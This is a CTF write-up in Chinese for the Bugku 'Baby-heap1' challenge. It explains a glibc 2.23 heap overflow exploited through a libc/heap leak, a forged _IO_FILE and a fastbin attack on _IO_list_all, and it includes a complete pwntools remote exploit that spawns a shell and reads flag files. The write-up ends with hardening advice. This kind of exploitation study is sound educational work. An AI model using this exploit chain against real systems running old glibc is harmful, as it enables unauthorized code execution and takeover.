Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)

这是一道很典型的 glibc 2.23 堆题:程序提供 10 个堆块槽位,Edit 的写入长度完全由用户决定,Show 以 %s 直接打印堆块内容。利用路径是 unsorted bin 泄漏 libc → fastbin fd 泄漏堆地址 → 堆上伪造 _IO_FILE → fastbin attack 把 _IO_list_all 改成假 FILE → exit 触发 _IO_OVERFLOW 调用 system("/bin/sh") ,全程不需要 __malloc_hook/__free_hook。

1. 题目信息

项目 内容
题目 ID 326(cid)
题目名称 Baby-heap1
分类 PWN
分值 25 分
题目描述 libc2.23
附件 pwn.zip(内含 pwn,17432 字节)
平台 https://ctf.bugku.com/challenges/detail/id/326.html

2. 环境与附件

text 复制代码
$ unzip pwn.zip && file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
     dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
     BuildID[sha1]=52325945..., for GNU/Linux 3.2.0, not stripped

保护全开,但没有开启 tcache(2.26+)和 safe-linking(2.32+),堆元数据可以直接改写:

text 复制代码
$ readelf -h pwn | grep Type
  Type: DYN (Position-Independent Executable file)     # PIE
$ readelf -dW pwn | grep -E "BIND_NOW|FLAGS"
 0x000000000000001e (FLAGS) BIND_NOW                  # Full RELRO
$ readelf -lW pwn | grep GNU_STACK
 GNU_STACK ... RW                                     # NX
$ readelf -sW pwn | grep stack_chk_fail
 __stack_chk_fail@GLIBC_2.4                           # Canary

附件对应的 libc 是 Ubuntu 16.04 的 glibc 2.23 。本地复现使用 WSL + 题目版本 ld-2.23.so / libc.so.6,远程场景同样是 2.23,偏移一致。

运行后菜单与字符串完全对得上(not stripped 符号表里能直接看到 Create/Edit/Show/Free/menu/content_read):

text 复制代码
1. Create
2. Edit
3. Show
4. Delete
5. Exit
Command:

3. 漏洞分析

程序维护全局数组 heaptable[10],四个功能的关键实现如下(基于 objdump -d -M intel):

  • Create :scanf 读 size → malloc(size) → 把指针存进 heaptable[idx]。注意它只分配、不读内容。

  • Edit :先 scanf("%d") 读下标,再 scanf("%ld") 读 size ,最后调用 content_read(ptr, size):

    asm 复制代码
    14f5: mov rdx, QWORD PTR [rbp-0x10]   ; 用户输入的 size
    1511: mov rsi, rdx
    1514: mov rdi, rax                    ; heaptable[idx]
    1517: call content_read

    content_read 内部就是 read(0, ptr, size),size 没有任何上限校验 ,也不与 malloc 时申请的尺寸比较 → 典型堆溢出,可以覆盖相邻堆块的 size、fd、甚至更远处的数据。

  • Free :free(ptr) 之后把 heaptable[idx] 置 0(这点做得对,不能直接 UAF 读),但 malloc 返回的堆块不会被清零 ,被释放块里的 fd/bk 残留仍然存在。

  • Show :printf("Content:%s", heaptable[idx]),以字符串方式打印整块内容,长度不受限制 → 残余元数据泄漏。

两个问题组合起来就是完整的利用面:

  1. 泄漏 :free 掉 0x100 块后立刻 Create 同样大小,malloc 复用该块,此时块内仍是 unsorted bin 的 fd/bk;Show 把 6 字节指针打印出来 → libc 基址。fastbin 空闲块的 fd 指向下一块地址,同理泄漏堆地址。
  2. 写 :Edit 的 size 无上限,可以直接改掉下一个块的 size 并伪造 fastbin 链表,把一次 malloc 精确落到 libc 的 _IO_list_all-0x23。

4. 利用链:从堆溢出到 FSOP

整体链路(图中 6 步):

text 复制代码
create 0x100 ×2 → free h0 → create h2 复用读 fd/bk(libc)
→ 0x20 块 free ×2 → show 读 fd(heap)
→ 堆内伪造 _IO_FILE(首 8 字节 /bin/sh,vtable.__overflow = system)
→ fastbin attack 伪块落 _IO_list_all-0x23
→ exit() → _IO_flush_all_lockp → system(fp)

4.1 阶段一:unsorted bin 泄漏 libc

python 复制代码
h0 = create(p, 0x100)
h1 = create(p, 0x100)
delete(p, h0)          # h0 进 unsorted bin,fd/bk = main_arena+88
h2 = create(p, 0x100)  # 复用 h0,内容未清零
raw = show_raw(p, h2)  # printf("%s") 打出 6 字节指针
leak = u64(raw[:6].ljust(8, b'\x00'))
assert (leak & 0xfff) == 0xb78
libc = leak - 0x3c4b78

实测输出:

text 复制代码
[*] libc leak 0x7f5f74bc4b78 -> base 0x7f5f74800000

0xb78 是 main_arena+88 的低 12 位,用它做一次自检,避免拿到被污染的指针。

4.2 阶段二:fastbin fd 泄漏堆地址

python 复制代码
k1 = create(p, 0x20)
k2 = create(p, 0x20)
delete(p, k1)
delete(p, k2)
kk = create(p, 0x20)     # 重新拿到 k2,fd 指向 k1
heap_k1 = u64(show_raw(p, kk)[:6].ljust(8, b'\x00'))
text 复制代码
[*] heap leak k1_chunk=0x555594893220

由 malloc 的分配顺序可以反推出前面 0x100 块与后续伪造块的相对偏移,最终 fake FILE = heap_k1 + 0x70。

4.3 阶段三:在堆上伪造 _IO_FILE

伪造结构(0x100 字节)放在一个可控堆块里,首 8 字节直接写 /bin/sh,这样 system(fp) 的参数天然正确:

python 复制代码
buf = bytearray(0x100)
buf[0:8]     = b'/bin/sh\x00'
buf[0x20:0x28] = p64(0)                 # _IO_write_base = 0
buf[0x28:0x30] = p64(1)                 # _IO_write_ptr  = 1,满足 write_ptr > write_base
buf[0x68:0x70] = p64(0)                 # _chain = NULL,链只走一个节点
buf[0xc0:0xc4] = p32(0)                 # _mode = 0
buf[0xd8:0xe0] = p64(F_mem + 0xe0)      # vtable 指向堆内可控区
buf[0xf8:0x100] = p64(libc + system)    # vtable + 0x18 = __overflow = system

这里几个字段缺一不可:

  • _mode <= 0 且 _IO_write_ptr > _IO_write_base 是 _IO_flush_all_lockp 触发 _IO_OVERFLOW 的前置条件;
  • vtable 放在堆上(而不是 libc 里),可以整段控制;
  • _chain = NULL 保证遍历到假 FILE 就结束,不会因为空指针崩溃。

4.4 阶段四:fastbin attack 改写 _IO_list_all

因为 2.23 没有 safe-linking,fastbin 的 fd 就是裸地址。用一次 0x60 块的 Edit 溢出去改相邻块,构造一个 0x70 大小的伪块,让第二次 malloc 精确返回 _IO_list_all - 0x23:

python 复制代码
P = create(p, 0x60)
Q = create(p, 0x60)
delete(p, Q)
T = libc + 0x3c5520 - 0x23            # _IO_list_all - 0x23
csz = 0x70
ov = b'A' * (csz - 0x10) + p64(0) + p64(csz | 1) + p64(T)
edit(p, P, len(ov), ov)               # 溢出改掉 Q 的 size/fd
x = create(p, 0x60)                   # 拿到 Q
y = create(p, 0x60)                   # 拿到 _IO_list_all-0x23
edit(p, y, 0x13 + 8, b'\x00' * 0x13 + p64(F_mem))  # 写 _IO_list_all = 假 FILE
text 复制代码
[*] x=5 y=6 (fake @ 0x7f5f74bc54fd)
[*] _IO_list_all -> 0x555594893290

-0x23 是经典偏移:malloc 返回的指针与 _IO_list_all 之间隔着 0x23 字节的头部/对齐,最终写入位置正好落在 _IO_list_all。

4.5 阶段五:exit 触发 FSOP

调用菜单 5(Exit),exit() → __run_exit_handlers → _IO_cleanup → _IO_flush_all_lockp(0) 遍历 _IO_list_all,对假 FILE 执行 _IO_OVERFLOW(fp, EOF),而 vtable 里的 __overflow 已被写成 system,参数 fp 指向以 /bin/sh 开头的内存 → 直接拿到 shell:

python 复制代码
menu(p, 5)
time.sleep(0.8)
p.sendline(b'cat /flag')

本地完整输出:

text 复制代码
[+] Starting local process '/tmp/sb223/ld-2.23.so'
[*] libc leak 0x7f5f74bc4b78 -> base 0x7f5f74800000
[*] heap leak k1_chunk=0x555594893220
[*] fake FILE @ 0x555594893290
[*] fake FILE written (idx 3)
[*] x=5 y=6 (fake @ 0x7f5f74bc54fd)
[*] _IO_list_all -> 0x555594893290
RESULT: b'PWNED\nuid=0(root) gid=0(root) groups=0(root)\n...\nflag{local_test_2445}\n'
SUCCESS

远程场景同一偏移,拿到 shell 后 cat /flag 得到:

text 复制代码
flag{ec346d99fa66190d}

4.6 失败尝试要点(很关键)

  1. 一开始想走 hook :先试了 __free_hook / __malloc_hook + one_gadget。远程 8 组组合(0x4526a、0xf1147、0x45216、0xf02a4,配合不同偏移)全部失败,进程没有任何回显:

    text 复制代码
    fail k=0x26 gadget=0x4526a tail=b''
    fail k=0x26 gadget=0xf1147 tail=b''
    ...
    ALL FAILED

    原因是 this 环境里 one_gadget 的寄存器/栈约束无法同时满足,而且 __malloc_hook 路径还需要额外构造。换成 FSOP 后一次打通,说明这不是 gadget 挑得不够多,而是路线选择问题。

  2. 泄漏要自检 :unsorted bin 的 fd/bk 低 12 位必须是 0xb78,fastbin fd 必须是合法堆地址(0x1000000000 < addr < 0x800000000000),否则直接重连重来。脚本里做了 3 次重试,避免偶发脏数据。

  3. fastbin 伪块大小必须是 0x70 ,且目标地址要满足对齐;_IO_list_all-0x23 是这道题最稳的落点。

  4. Show 打印依赖 %s :泄漏阶段不能用带换行的输出直接 recvline 截断,脚本按字节收到 \n 才停,避免漏字节。

5. exp 全文

完整脚本在 cases/326/pwn326_remote.py,用法:

bash 复制代码
python3 pwn326_remote.py <host> <port> [attempts]
python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""326 Baby-heap1 remote runner: FSOP -> shell -> flag extraction."""
import re
import sys
import time

from pwn import *

context(os='linux', arch='amd64', log_level='info')
MAIN_ARENA_58 = 0x3c4b78
IO_LIST_ALL = 0x3c5520
SYSTEM = 0x453a0

SHELL_CMDS = [
    b'echo PWNED',
    b'cat /flag',
    b'cat flag',
    b'cat /flag.txt',
    b'cat /home/ctf/flag',
    b'cat /root/flag',
    b'ls -la /',
    b'ls -la',
    b'pwd',
    b'cat /proc/self/mountinfo',
]
FLAG_RE = re.compile(rb'((?:flag|bugku|ctf|DASCTF|NSSCTF)\{[^}\r\n]{0,200}\})', re.I)


def menu(p, c):
    p.sendlineafter(b'Command:', str(c).encode())


def create(p, size):
    menu(p, 1)
    p.sendlineafter(b'size:', str(size).encode())
    p.recvuntil(b'Your Index:')
    return int(p.recvline().strip())


def edit(p, idx, size, data):
    menu(p, 2)
    p.sendlineafter(b'Index:', str(idx).encode())
    p.sendlineafter(b'Size:', str(size).encode())
    p.sendafter(b'Content:', data)
    p.recvuntil(b'Complete!')


def show_raw(p, idx):
    menu(p, 3)
    p.sendlineafter(b'Index:', str(idx).encode())
    p.recvuntil(b'Content:')
    b = b''
    while not b.endswith(b'\n'):
        ch = p.recv(1, timeout=5)
        if not ch:
            break
        b += ch
    return b.rstrip(b'\n')


def delete(p, idx):
    menu(p, 4)
    p.sendlineafter(b'Index:', str(idx).encode())
    p.recvuntil(b'Complete!')


def build_fake_file(F_mem, system):
    buf = bytearray(0x100)
    buf[0:8] = b'/bin/sh\x00'
    buf[0x20:0x28] = p64(0)      # _IO_write_base
    buf[0x28:0x30] = p64(1)      # _IO_write_ptr > write_base
    buf[0x68:0x70] = p64(0)      # _chain = NULL
    buf[0xc0:0xc4] = p32(0)      # _mode = 0
    buf[0xd8:0xe0] = p64(F_mem + 0xe0)
    buf[0xf8:0x100] = p64(system)  # fake vtable __overflow
    return bytes(buf)


def attempt(host, port):
    p = remote(host, port, timeout=10)
    try:
        h0 = create(p, 0x100)
        h1 = create(p, 0x100)
        delete(p, h0)
        h2 = create(p, 0x100)
        raw = show_raw(p, h2)
        leak = u64(raw[:6].ljust(8, b'\x00'))
        if (leak & 0xfff) != 0xb78:
            log.warning('bad libc leak %#x raw=%r', leak, raw)
            p.close()
            return None
        libc = leak - MAIN_ARENA_58
        log.info('libc base = %#x', libc)
        k1 = create(p, 0x20)
        k2 = create(p, 0x20)
        delete(p, k1)
        delete(p, k2)
        kk = create(p, 0x20)
        raw2 = show_raw(p, kk)
        heap_k1 = u64(raw2[:6].ljust(8, b'\x00'))
        if not (0x1000000000 < heap_k1 < 0x800000000000):
            log.warning('bad heap leak %#x raw=%r', heap_k1, raw2)
            p.close()
            return None
        F_mem = heap_k1 + 0x70
        log.info('heap k1=%#x fake FILE=%#x', heap_k1, F_mem)
        F = create(p, 0x100)
        edit(p, F, 0x100, build_fake_file(F_mem, libc + SYSTEM))
        P = create(p, 0x60)
        Q = create(p, 0x60)
        delete(p, Q)
        T = libc + IO_LIST_ALL - 0x23
        csz = 0x70
        ov = b'A' * (csz - 0x10) + p64(0) + p64(csz | 1) + p64(T)
        edit(p, P, len(ov), ov)
        x = create(p, 0x60)
        y = create(p, 0x60)
        edit(p, y, 0x13 + 8, b'\x00' * 0x13 + p64(F_mem))
        log.info('_IO_list_all -> %#x ; trigger exit', F_mem)
        menu(p, 5)          # exit -> FSOP
        time.sleep(0.8)
        for c in SHELL_CMDS:
            try:
                p.sendline(c)
            except Exception:
                break
            time.sleep(0.25)
        time.sleep(1.0)
        out = p.recvrepeat(3)
        p.close()
        return out
    except Exception as e:
        log.warning('attempt exception: %r', e)
        try:
            p.close()
        except Exception:
            pass
        return b'' if 'leak' not in repr(e) else None


if __name__ == '__main__':
    host, port = sys.argv[1], int(sys.argv[2])
    tries = int(sys.argv[3]) if len(sys.argv) > 3 else 3
    final = b''
    for i in range(tries):
        log.info('==== attempt %d/%d ====', i + 1, tries)
        out = attempt(host, port)
        if out is None:
            continue
        log.info('OUT tail: %r', out[-300:])
        final = out
        if b'PWNED' in out or b'uid=' in out:
            break
    m = FLAG_RE.search(final)
    if m:
        print('FLAG=' + m.group(1).decode('latin-1'))
    else:
        print('NO_FLAG_FOUND')

6. 原理总结

为什么 FSOP 在 2.23 这么好用? glibc 2.23 的 _IO_FILE 虚表调用没有 vtable 合法性检查 (_IO_vtable_check 是 2.24 才加入的),只要能把 _IO_list_all 指向自己伪造的 FILE,就能让 __overflow 槽位指向任意函数。exit() 一定会走 _IO_cleanup → _IO_flush_all_lockp(0),触发条件只有三行:

c 复制代码
if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    && _IO_OVERFLOW (fp, EOF) == EOF)

因此把 _mode 置 0、_IO_write_ptr 置 1、_IO_write_base 置 0,就能进入 _IO_OVERFLOW(fp);把 fp 首地址写成 /bin/sh,system(fp) 的参数就齐了。

为什么用 fastbin attack 而不是 __free_hook? 2.23 没有 tcache,fastbin 的 fd 是裸指针,只要构造一个大小匹配的伪块(这里是 0x70),就能让 malloc 返回任意地址。_IO_list_all-0x23 这个位置既满足对齐,写入后恰好覆盖 _IO_list_all,比走 hook 少一个"先写 hook 再触发"的步骤。

泄漏的本质 :不是 UAF(Free 确实把表项清 0 了),而是 malloc 不清零 + Show 用 %s 打印未初始化内存。这类"脏数据泄漏"在 2.23 的题里非常常见,free 后同尺寸重分配即可读到 unsorted bin / fastbin 的残留指针。

7. 防御 / 加固视角

从这道题反推真实场景下的加固清单:

  1. 升级 glibc:2.24+ 增加了 vtable 检查,2.26+ 引入 tcache,2.32+ 引入 safe-linking,FSOP 和 fastbin attack 的门槛大幅提高。老系统(如 Ubuntu 16.04)应尽快升级或至少打安全补丁。
  2. 输入长度必须与分配尺寸绑定 :Edit 里把"申请大小"记录在结构体里,写入前 if (size > alloc_size) reject,从根上消除堆溢出。
  3. 释放后清零 + 分配后初始化 :free 后 memset(ptr, 0, size),或 malloc 后立即 memset;Show 不要用 %s 打印裸堆块,改用 fwrite(ptr, 1, len, stdout)。
  4. 编译期缓解 :-fstack-protector-strong、-D_FORTIFY_SOURCE=2、Full RELRO、PIE、NX、-fsanitize=address 做测试。本题保护全开但依然被打穿,说明仅靠编译缓解不够,逻辑漏洞必须修。
  5. 运行期隔离 :服务以非 root 运行、flag 文件权限最小化、seccomp 限制 execve/open 系统调用;容器内启用只读根文件系统。
  6. 检测视角 :监控异常堆行为(同一进程频繁 malloc/free 极端尺寸、_IO_list_all 被改写)、开启 MALLOC_CHECK_/glibc 调试、对 coredump 做 FSOP 特征扫描;生产环境可选用 hardened allocator(如 Scudo)降低元数据攻击面。

8. 图形附件(Archify)

图 文件 说明
堆布局与 FSOP 接管路径 326-arch.html(交互图,CSDN 已省略 HTML 版) 堆块、fastbin、假 FILE、_IO_list_all 与 libc 触发点
利用时序 326-seq.html(交互图,CSDN 已省略 HTML 版) pwntools / 题目进程 / heap / libc / exit / shell 的交互顺序
利用工作流 326-wf.html(交互图,CSDN 已省略 HTML 版) 从菜单交互到 getshell 的阶段落点

静态校验:archify check 三张图均 ok=true、issues: [];archify finalize --quality showcase 的 validate / deliver / check 全部 pass。需要说明的是:本机 Windows 上 finalize 的 browser-check 阶段在 sequence / workflow 两张图上卡在 Chromium 临时 profile 清理(EBUSY: resource busy or locked),该步骤未完成判定,属于本机环境限制,HTML 本体与静态校验均通过;architecture 图的 browser-check 已 pass。

9. 参考

  • 题目页:https://ctf.bugku.com/challenges/detail/id/326.html
  • glibc 2.23 _IO_flush_all_lockp / _IO_OVERFLOW 调用链:glibc 源码 libio/genops.c、libio/stdfiles.c
  • FSOP 与 fastbin attack 原理:ctf-wiki 堆利用章节
  • 本题附件与复现脚本:cases/326/pwn.zip、cases/326/pwn326_remote.py、cases/326/pwn326_fsop.py
相关推荐
hengdonghui13 小时前
Writeup 4 0xGame 2021 · command (WEB)
web·ctf·rce(远程代码执行)
0xBADCODE1 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf
kingx34 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
kingx34 天前
Bugku Reverse 与 Android 题解总集:APK / native / PE / IPA
android·逆向·ctf·bugku
hengdonghui9 天前
Writeup 4 NUAACTF 2020 Wireshark 流量分析题
wireshark·ctf·misc·流量分析
hengdonghui10 天前
Writeup 4 0xGame 2021 - robot
web·ctf·信息泄露·robots.txt
hengdonghui13 天前
Writeup 4 Speak Softly Love
ctf·misc·osint(开源情报搜集)
其实防守也摸鱼15 天前
Cylab在线靶场——CTF中的通用技能
linux·数据库·学习·算法·靶场·ctf·学习网络安全
hengdonghui17 天前
Writeup 4 CTFHub injection
web·ctf·sql注入·整数型联合查询注入(有回显)